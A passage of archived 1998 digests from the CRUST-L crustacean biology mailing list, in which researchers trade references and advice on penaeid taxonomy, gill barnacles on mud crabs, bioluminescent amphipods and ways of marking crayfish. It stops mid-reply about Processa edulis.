=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Tiziano Scovacricchi"" Date: Thu, 17 Sep 1998 09:55:56 +0200 Subject: CRUST-L: Taxonomy of penaeid shrimps. Dear colleagues, can anybody suggest a good, exhaustive book or publication on taxonomy of Penaeid shrimps ? I am looking for something definitely scientific more than popular, defining precise morphological attributes to differentiate different species of Penaeid shrimps. Thank you in advance for helping. Tiziano Scovacricchi C.N.R. - Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia, Italia tel 0039-(0)41-520.76.22 fax 0039-(0)41-520.41.26 e-mail tisco@ibm.ve.cnr.it =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 17 Sep 1998 08:48:25 -0400 Subject: CRUST-L: Octolasmis refs (fwd) Please respond to the list, Andrew Gannon, or Francesca. Cheers, Jeff =============================fwd========================================== >From: ""Gannon, Andrew T."" >To: ""'CRUST-L Posting Address'"" >Subject: Scylla-Octolasmis >Date: Wed, 16 Sep 98 03:26:00 PDT >Message-Id: <360001D0@panther> >Encoding: 37 TEXT >X-Mailer: Microsoft Mail V3.0 > > >Francesca, >Jeff is probably right. It sounds like Octolasmis. The key references for >you are: > >Jefferies, W.B., H.K. Voris, and C.M. Yang. 1991. Species recognition >among the pedunculate barnacles (Cirripedia:Thoracica) on the Mangrove Crab, >Scylla serrata. Raffles Bulletin of Zoology 40:83-92. > >Jefferies, W.B., H.K. Voris, and S. Poovachiranon. 1992. Age of the >Mangrove Crab Scylla serrata at colonization by stalked barnacles of the >genus Octolasmis. Biological Bulletin. 182:188-194. > >Voris, H.K., W.B. Jefferies, and S. Poovachiranon. 1994. Patterns of >distribution of two barnacle species on the mangrove crab, Scylla serrata. > Biological Bulletin. 187:346-354. > >Jefferies and Voris have been extremely helpful in sending me reprints. You >can contact Bill Jefferies at Dept. of Biology, Dickinson College, Carlisle, >PA 17013 and Harold Voris at Department of Zoology, Field Museum of Natural >History, Chicago, IL 60605. > >Hope this helps, > >Andy > >Andrew T. Gannon >Assistant Professor of Biology >Box 549022 >Birmingham-Southern College >900 Arkadelphia Road >Birmingham, AL 35254 > >Email: agannon@gateway.bsc.edu >WebSite: http://panther.bsc.edu/~agannon/ >Phone: (205) 226-4899 >FAX: (205) 226-3078 > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Browdy Date: Thu, 17 Sep 1998 08:47:35 -0400 Subject: Re: CRUST-L: Taxonomy of penaeid shrimps. Have not gotten my copy yet, still on order but this may be what you are looking for... Perez Farfante I., Kensley B. F., 1997. Penaeoid and Sergestoid Shrimps and > Prawns of the World. Keys and Diagnoses for the Families and Genera. Mem. > Mus. natn. Hist. nat., 175 : 1-223, figs 1-143. Paris ISBN: 2-85653-510-0. > > in France : 350 FF TTC (frais de port en sus) > Museum National d'Histoire Naturelle, > service des publications scientifiques, > Diffusion Delphine Henry, 57 rue Cuvier, F-75005 Paris. > Tel [33] 01 40 79 37 00; fax [33] 01 40 79 38 40; e-mail dhenry@mnhn.fr > > out of France, Sales Office = > Universal Book Services, > Dr. W. Backhuys, > P. O. Box 321, NL-2300 AH Leiden, The Nederlands > Tel. [31] (71) 517 02 08; fax [31] (71) 517 18 56; e-mail backhuys@euronet.nl Craig L. Browdy Waddell Mariculture Center POB 809 Bluffton, SC 29910 USA Phone: 843-837-3795 FAX: 843-837-3487 Email: browdycl@musc.edu (please note new area code) - ---------- > From: Tiziano Scovacricchi > To: CRUST-L@vims.edu > Subject: CRUST-L: Taxonomy of penaeid shrimps. > Date: Thursday, September 17, 1998 3:55 AM > > Dear colleagues, > > can anybody suggest a good, exhaustive book or publication on taxonomy of > Penaeid shrimps ? > I am looking for something definitely scientific more than popular, defining > precise morphological attributes to differentiate different species of > Penaeid shrimps. > Thank you in advance for helping. > Tiziano Scovacricchi > C.N.R. - Istituto di Biologia del Mare > Riva Sette Martiri, 1364/a > 30122 Venezia, Italia > tel 0039-(0)41-520.76.22 > fax 0039-(0)41-520.41.26 > e-mail tisco@ibm.ve.cnr.it > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: krinos@pacific.net.ph (Antonio Quirino Jr) Date: Thu, 17 Sep 1998 22:01:21 +0800 Subject: RE: CRUST-L: Scylla &...? Dear Francesca I, too, am interested in knowing more about the long neck-large hook parasites you found in the Scylla serrata you dissected. Jeffrey Shields is perhaps correct in identifying it as Octolasmis. Ditto with Ian Knuckey. I have a crab farm in the Philippines and this parasite seems to be present in crabs we procure from other places in the country. We have observed that a heavy presence of this parasite in the gills of the crab affects the crab's activity. This is followed closely by a substantial loss of appetite and, from time to time, death of the crab if it fails to recover from the onslaught. Molting, too, seems to be affected. If ever you get to know more about this parasite, I would be very happy if you will share the info with me. Perhaps some Cruster out there can advise how Octolasmis can be controlled/minimized/eliminated. Mabuhay, Antonio =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 18 Sep 1998 08:32:27 -0400 Subject: RE: CRUST-L: Scylla &...? Antonio, Andrew Gannon will be forwarding observations on the physiological impact of Octolasmis. I've seen gill deformities result from heavy infestations in Portunus pelagicus. The gill deformities and physiological toll (i.e., heavy exercise-like effect) could work together to affect a crab's ability to molt. Cheers, Jeff At 10:01 PM 9/17/98 +0800, Antonio Quirino Jr wrote: >Dear Francesca > >I, too, am interested in knowing more about the long neck-large hook >parasites you found in the Scylla serrata you dissected. Jeffrey Shields >is perhaps correct in identifying it as Octolasmis. Ditto with Ian Knuckey. > >I have a crab farm in the Philippines and this parasite seems to be present >in crabs we procure from other places in the country. We have observed >that a heavy presence of this parasite in the gills of the crab affects the >crab's activity. This is followed closely by a substantial loss of >appetite and, from time to time, death of the crab if it fails to recover >from the onslaught. Molting, too, seems to be affected. > >If ever you get to know more about this parasite, I would be very happy if >you will share the info with me. > >Perhaps some Cruster out there can advise how Octolasmis can be >controlled/minimized/eliminated. > >Mabuhay, Antonio > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: agannon Date: Fri, 18 Sep 1998 08:00:17 -0500 Subject: [none] Antonio, I found that Octolasmis muelleri had little measurable detrimental effect on host blue crabs, unless the infestation was massive. 1992. Gannon A. T. and M. G. Wheatly. The effects of ectocommensal gill barnacle (Octolasmis muelleri) infestation on blue crab (Callinectes sapidus Rathbun) respiration. Journal of Crustacean Biology. 12(1):11-18. 1995. A. T. Gannon and M. G. Wheatly. Physiological effects of an ectocommensal gill barnacle (Octolasmis muelleri) on exercising and recovering blue crabs (Callinectes sapidus Rathbun). Marine Behaviour and Physiology. 24:215-225. The crabs best defense against the ectocommensals is to molt and the barnacles are shed with the the exoskeleton over the gills. Crabs that had been parasitized by Rhizocephalan barnacles were prevented from molting by that internal parasite. Many of them had massive infestations. Perhaps you are seeing a similar phenomenon in your crabs that become moribund. There would be a great deal of selection pressure on the Octolasmid gill barnacles to prevent the host from molting, but I haven't seen any evidence that they do. It would be a fantastic subject to study. Please let me know if you would like reprints of the above papers and best of luck with your crabs. Andy Andrew T. Gannon Assistant Professor of Biology Box 549022 Birmingham-Southern College 900 Arkadelphia Road Birmingham, AL 35254 Email: agannon@gateway.bsc.edu WebSite: http://panther.bsc.edu/~agannon/ Phone: (205) 226-4899 FAX: (205) 226-3078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: krinos@pacific.net.ph (Antonio Quirino Jr) Date: Fri, 18 Sep 1998 22:49:46 +0800 Subject: RE: CRUST-L: Scylla &...? Dear Jeff, I'm looking forward to receiving Andrew Gannon's observations. Just to let you know, I'm in the crab (Scylla serrata) fattening business in the Philippines on a big scale (by Asian standards). We buy adult thin crabs caught from the wild and fatten them in our farm for two weeks (in individualized floating cages). Our crab farm is located near an estuary where there is an abundance of limestone. Brackish water, limestone and a high-protein diet seem to combine well because our fattened crabs are full of fat, taste sweet and have tender juicy meat. We grow our own food right in the farm. I call this ""sustained farming"". . . all homegrown and fresh . . . and nothing to polute the water. We grow water cabbage (a relative of the water hyacinth) and feed the root zone to aquatic (golden) snails and we feed the snails to the crabs. We also raise african redworms and feed these to the fish (tilapia). In turn, we feed the fish to the crabs. With this protein-packed diet, our crabs fill out their carapace in no time. Our crabs are very much in demand in the local market and we can't grow enough. We are now planning to establish a crab hatchery at the farm to be assured of a continuous supply of crabs. I hope I can call on you from time to time for scientific adivce. Mabuhay, Antonio =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Massabuau Jean-Charles Date: Fri, 18 Sep 1998 17:13:35 +0200 Subject: [none] Dear all, I am looking for the e-mail of E. Naylor who was, or may be, still is at the School of Ocean Sciences, Marine Science Laboratories, Gwynnedd, UK. Best wishes, JC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 18 Sep 1998 15:18:31 -0400 Subject: CRUST-L: fat crabs Dear Antonio, I read your recent CRUST-L post about your feeding Scylla serrata a high protein diet for a couple of weeks to 'fatten them up.' I am curious about this- do they really store fat? If so, in what tissue or region of the body? (I am not aware of crabs containing fat stores, but would like to know about it if they do) Or, are they really building up their stores of muscle glycogen, which contains bound water (making them juicy) and imparts the sweet taste when hydrolyzed in boiling water? Chuck Booth - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dr. Andrew G. McArthur"" Date: Fri, 18 Sep 1998 21:26:34 -0600 Subject: CRUST-L: Family Authorities Colleagues, I am seeking authority information / citations for the following three families. > Oplophoridae > Hyppolytidae > Nephropidae Any help would be appreciated. Andrew McArthur - ---------------------------------------------- Andrew G. McArthur, Ph.D. Marine Biological Laboratory 7 MBL Street Woods Hole, MA 02543-1015 mcarthur@evol5.mbl.edu http://www.geocities.com/CapeCanaveral/8431/ - ---------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #160 ***************************** crust-l-digest Wednesday, October 21 1998 Volume 01 : Number 005 ---------------------------------------------------------------------- Date: Fri, 16 Oct 1998 15:20:04 -0800 (AKDT) From: Aaron Baldwin Subject: Bioluminescent gammarids During the spring plankton blooms here in Juneau I have seen gammarids such as Anonyx and the mysid Neomysis (probably others as well) with brightly glowing dinos in their gut. The mysids, being transparent, glow really bright. The Anonyx glow was faint and was only observed when a number of specimens were placed in an aquarium as live food for a decorated warbonnet (fish). -Aaron ------------------------------ Date: Fri, 16 Oct 1998 21:59:53 -0400 (EDT) From: Judith Weis Subject: Re: Claw loss in Uca >From many observations in the lab, I can vouch that during a ""bad molt"" crabs can and do lose claws (or walking legs). 1880's: ""There's lots of good fish in the sea"" W.S. Gilbert 1990's: Many fish stocks depleted due to overfishing, habitat loss, and pollution. \\ \\ \\ \\ \\ - - _ - \\ \\ \\ \\ ----\\ - _ - \\ - - ( O \\ _ - -_ __ / - - / -/// _ ______ ___/ /// / Judith S. Weis Department of Biological Sciences Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu ------------------------------ Date: Sat, 17 Oct 1998 19:29:26 -0500 From: oshel@terracom.net (Philip Oshel) Subject: Re: Bioluminescent Gammarids Did you examine any under a microscope-maybe SEM-for ectocommensual dinoflagellates? Phil >I have not seen any bioluminescent gammarids, but recently encountered >bioluminescent caprellids intertidally in Southern California. These >proved to be Caprella natalensis. We were out on very early pre-dawn >tides, and the animals were clearly visible in the dark. I do not know >if their glow was continuous or not, we only saw them because of their >luminescence. Thousands of individuals were present, but perhaps only >20-25 were observed to glow. I don't know if the others were >non-luminous, had not been incited to luminesce, or were ""spent"". The >individuals luminescing did so with an unwavering (and seemingly >non-fading) light over a period of several hours of observation. The >glow was not localized in any particular portion of the animal, and was >equally intense over the entire body surface. It appeared to be the >light green of a typical luciferin-luciferase reaction seen in plankton >in adjacent waters (ie. Gonyaulax and Noctiluca). > >The caprellids were in a normal environment; clinging to red algal turf >in the lower intertidal zone (on a negative tide), and had no noticable >difference from the normally encountered non-luminous form. None of the >gammarids which occurred in the same turf were seen to luminesce. > >Donald B. Cadien >Marine Biology Lab - JWPCP >24501 S. Figueroa St., Carson, CA, 90745 >Tel: 310-830-2400x403 >Fax: 310-952-1065 }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 620068 Middleton, WI 53562 oshel@terracom.net or poshel@hotmail.com ------------------------------ Date: Sun, 18 Oct 1998 01:34:06 -0700 From: Deborah Rudnick Subject: How to individually mark crustaceans Greetings, crusters- I am in need of individually marking some crayfish for a behavioral study. The literature suggested using liquid paper to mark individual animals. I attempted this and did not have much luck. Would anyone have alternate suggestions or be able to speak to the effectiveness of this approach- perhaps I am simply going about it the wrong way? My thanks! - -Debbie _________________ ESPM Division of Insect Biology University of California Berkeley, CA 94720 drudnick@nature.berkeley.edu ------------------------------ Date: Sun, 18 Oct 1998 08:19:25 -0400 From: ""David Dunham"" Subject: Re: How to individually mark crustaceans Debbie - We have had good success in marking crayfish on the dorsal surface of the cephalothorax with white SnoPake, and other typewriter correction fluids. It is important to dry the spot to be marked before application, and to allow the fluid to dry before puting the cray back in its tank. Just blowing on it enthusiastically is sufficient. The marks do eventually wear off and need to be replaced, but we find that they last for weeks, unless the animals are scraping their backs against rocks when using a tight space as a shelter. They do not seem to groom the material off, so one imagines that it is not an irritant. ______________________________________ dunham@zoo.utoronto.ca Prof. David W. Dunham, Associate Chair Graduate Department of Zoology University of Toronto 25 Harbord Street Toronto, Ontario, Canada M5S 3G5 Fax 416-978-8532 Tel 416-978-3496 www.zoo.utoronto.ca ______________________________________ Communication & Sensory Ecology ______________________________________ - ---------- > From: Deborah Rudnick > To: crust-l@vims.edu > Subject: How to individually mark crustaceans > Date: Sunday, October 18, 1998 4:34 AM > > Greetings, crusters- > > I am in need of individually marking some crayfish for a behavioral study. > The literature suggested using liquid paper to mark individual animals. I > attempted this and did not have much luck. Would anyone have alternate > suggestions or be able to speak to the effectiveness of this approach- > perhaps I am simply going about it the wrong way? > > My thanks! > > -Debbie > _________________ > ESPM > Division of Insect Biology > University of California > Berkeley, CA 94720 > drudnick@nature.berkeley.edu > ------------------------------ Date: Sun, 18 Oct 1998 09:45:36 -0400 (EDT) From: Chip Biernbaum Subject: Bioluminescent Gammarids The first report of a bioluminescent freshwater gammarid was a 1984 paper by Tom Bowman & Fanny Phillips (Proc. Biol. Soc. Washington 97(3):526-528) on a continuous greenish-yellow glow in occasional Hyalella azteca (probably the most widely distributed freshwater amphipod in the Americas) specimens from a small trout pond in Virginia, USA. They attributed it to infection by pathogenic bacteria, which always resulted in the death of the infected animal. They were unsure about the source of the amphipods, commenting that they may have been introduced into the trout pond from vegetation moved into the pond from some ""rather stagnant pools"" in Florida. They hypothesize that the source of the bacteria was probably aquatic vegetation introduced to the pond from these Florida pools or, less likely, from aquatic vegetation introduced from local aquarium stores. In their Discussion, they mention that most of the amphipods reported to be infected by bioluminescent bacteria are semiterrestrial and terrestrial species in the superfamily Talitroidea (within which the fully aquatic Hyalella is found). Other accounts of such bacterial bioluminescence in amphipods are found in E. N. Harvey's 1952 book entitled Bioluminescence (Academic Press) and a 1963 paper by Bousfield and Klawe on an infected California beach hopper species (Bull. Southern Calif. Acad. of Sciences 62:1-8). Chip Charles K. (Chip) Biernbaum Grice Marine Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu ------------------------------ Date: Sun, 18 Oct 1998 12:32:56 -0400 From: ""Gary L. Davenport"" Subject: Various Crayfish Species' ""Dances"" Hello, I wwas wondering f anyone on the list could explain why freshwater crayfish ""dance"". I've held about twelve different species of freshwater crayfish, both imported and indiginous to Northeast Ohio, USA, and all have exhibited a phenomenum I cannot explain. Many times, while standing idle, the crayfish begin to move one or more of their appendages in some repetitive motion, often times climaxing in most of their appendages moving in several different groups. This motion is distinctly different from any bodily cleaning, and I can't explicitely connect it to molting. Assuming the water and temperature were correct for each specie, why does this happen? Also, the crayfish only recieved live food and usually lived anywhere from six months to two years. Thanks, Gary L. Davenport gdaven19@mail.idt.net ------------------------------ Date: Mon, 19 Oct 1998 11:51:31 +1000 From: ""Linton, Larnie"" Subject: FW: How to individually mark crustaceans This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------_=_NextPart_000_01BDFB16.A69CD5F0 Content-Type: text/plain Debbie, I have used underwater paper (plastic paper) circles (made with a hole punch) superglued to the carapace between the horns of marine lobsters as a marking technique to identify individuals which have not moulted. This proved highly successful as the circles remained glued for the duration between moults. Larnie Linton Fisheries Technician Northern Fisheries Centre Department of Primary Industries PO Box 5396 Cairns, 4870 Queensland, Australia lintonl@dpi.qld.gov.au Phone: (07) 4035 0151 Fax: (07) 4035 1401 international code (61 70) > -----Original Message----- > From: David Dunham [SMTP:dunham@zoo.utoronto.ca] > Sent: Sunday, 18 October 1998 22:19 > To: crust-l@vims.edu; Deborah Rudnick > Subject: Re: How to individually mark crustaceans > > Debbie - > We have had good success in marking crayfish on the dorsal surface > of the > cephalothorax with white SnoPake, and other typewriter correction fluids. > It is important to dry the spot to be marked before application, and to > allow the fluid to dry before puting the cray back in its tank. Just > blowing on it enthusiastically is sufficient. The marks do eventually > wear > off and need to be replaced, but we find that they last for weeks, unless > the animals are scraping their backs against rocks when using a tight > space > as a shelter. They do not seem to groom the material off, so one imagines > that it is not an irritant. > ______________________________________ > dunham@zoo.utoronto.ca > Prof. David W. Dunham, Associate Chair > Graduate Department of Zoology > University of Toronto > 25 Harbord Street > Toronto, Ontario, Canada M5S 3G5 > Fax 416-978-8532 > Tel 416-978-3496 > www.zoo.utoronto.ca > ______________________________________ > Communication & Sensory Ecology > ______________________________________ > > ---------- > > From: Deborah Rudnick > > To: crust-l@vims.edu > > Subject: How to individually mark crustaceans > > Date: Sunday, October 18, 1998 4:34 AM > > > > Greetings, crusters- > > > > I am in need of individually marking some crayfish for a behavioral > study. > > The literature suggested using liquid paper to mark individual animals. > I > > attempted this and did not have much luck. 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------_=_NextPart_000_01BDFB16.A69CD5F0-- ------------------------------ Date: Mon, 19 Oct 1998 08:53:06 +0100 From: Massabuau Jean-Charles Subject: marking crayfish Dear Debbie, the most efficient way I found is to write a number on the cephalotorax with a small drill. With some training, the animals stay perfectly happy JC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ------------------------------ Date: Mon, 19 Oct 1998 11:11:12 +0200 (MET DST) From: inma.lopez@icman.csic.es (Inmaculada Lopez de la Rosa) Subject: Processa edulis Dear colleages, I would know, if any body working on coastal communities of Crustacean=20 Decapoda, have observed a situation similar to what I have found in a =20 community very close to the mouth of the Guadalete River (Gulf of C=E1diz,= SW=20 Spain). Usually the specie Processa edulis shows a low density during all the year.= =20 However, in October 1996 and after a period of strong rain, I observed an=20 extraordinary high abundance of such species. A month later, the population= =20 showed again the usual abundance in the area. Please, if you have found or know from literature a similar behaviour of the= =20 species in other areas, let me know. I want to thank your help in advance. Best wishes Inma Inmaculada L=F3pez de la Rosa e-mail: inma.lopez@icman.csic.es Instituto de Ciencias Marinas de Andalucia Poligono Rio San Pedro s/n. Apdo. Oficial. 11510 Puerto Real. C=E1diz. Espa=F1a Tel. (956) 832612 Fax (956) 834701 ------------------------------ Date: Mon, 19 Oct 1998 09:17:31 -0400 From: Jeffrey Shields Subject: Re: bioluminescent amphipods Reports of bioluminescence in crustaceans have been around for over a century. Here are a few refs for those interested in the relative antiquity of the phenomenon: Giard, A. and Billet, A. 1889. Observations sur la maladie phosphorescente des Talitres et autre Crustaces. C.R. Seances Soc. Biol. 41: 593-597. Inman, O.L. 1927. A pathogenic luminescent bacterium. Biol. Bull. 53: 197-200. Yasaki, Y. 1927. Bacteriologic studies on bioluminescence. I. Cause of luminescence in the fresh water shrimp Xiphocaridina compressa (De Haan). J. Infect. Dis. 40: 404-407. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() ------------------------------ Date: Mon, 19 Oct 1998 15:35:35 +0100 From: pnoel@cimrs1.mnhn.fr (Pierre NOEL) Subject: crust-l Re: Processa edulis >Dear colleages, >I would know, if any body working on coastal communities of Crustacean >Decapoda, have observed a situation similar to what I have found in a >community very close to the mouth of the Guadalete River (Gulf of C diz, SW >Spain). >Usually the specie Processa edulis shows a low density during all the year. >However, in October 1996 and after a period of strong rain, I observed an >extraordinary high abundance of such species. A month later, the population >showed again the usual abundance in the area. >Please, if you have found or know from literature a similar behaviour of the >species in other areas, let me know. >I want to thank your help in advance.>Best wishes>>Inmaculada L pez de la Rosa >e-mail: inma.lopez@icman.csic.es Processa edulis and many other species of the same genus, is especial in many aspects : * It does not like very-much brackish waters (and rain!). * It burries itself in sand (or sediment) head first, ""tail"" near the surface but not visible by predators. * It is active at night only, and difficult to find between early morning and late evening. * It is 